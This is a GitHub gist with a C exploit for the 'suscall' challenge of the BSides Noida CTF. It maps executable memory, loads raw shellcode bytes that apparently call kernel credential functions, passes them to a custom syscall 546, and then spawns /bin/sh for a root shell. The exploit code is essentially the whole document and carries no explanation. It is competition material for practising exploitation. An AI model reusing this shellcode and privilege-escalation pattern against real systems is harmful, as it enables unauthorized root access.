Skip to content

Instantly share code, notes, and snippets.

@revervand
Created August 9, 2021 21:35
Show Gist options
  • Save revervand/8d0889926c1a5fc56d5222fb3998c61b to your computer and use it in GitHub Desktop.
Save revervand/8d0889926c1a5fc56d5222fb3998c61b to your computer and use it in GitHub Desktop.
BSides Noida CTF "suscall" exploit
#include <sys/mman.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
unsigned char code[] = "\x5e\x56\x48\x81\xee\xe9\x25\x2a\x00\x48\x31\xff\xff\xd6\x48\x89\xc7\x5e\x56\x48\x81\xee\xb9\x29\x2a\x00\xff\xd6\xc3";
int main() {
void* shellcode = mmap(0xdeadb000, 0x1000, 7, 34, -1, 0);
memcpy(shellcode, code, sizeof(code));
syscall(546, shellcode);
system("/bin/sh");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment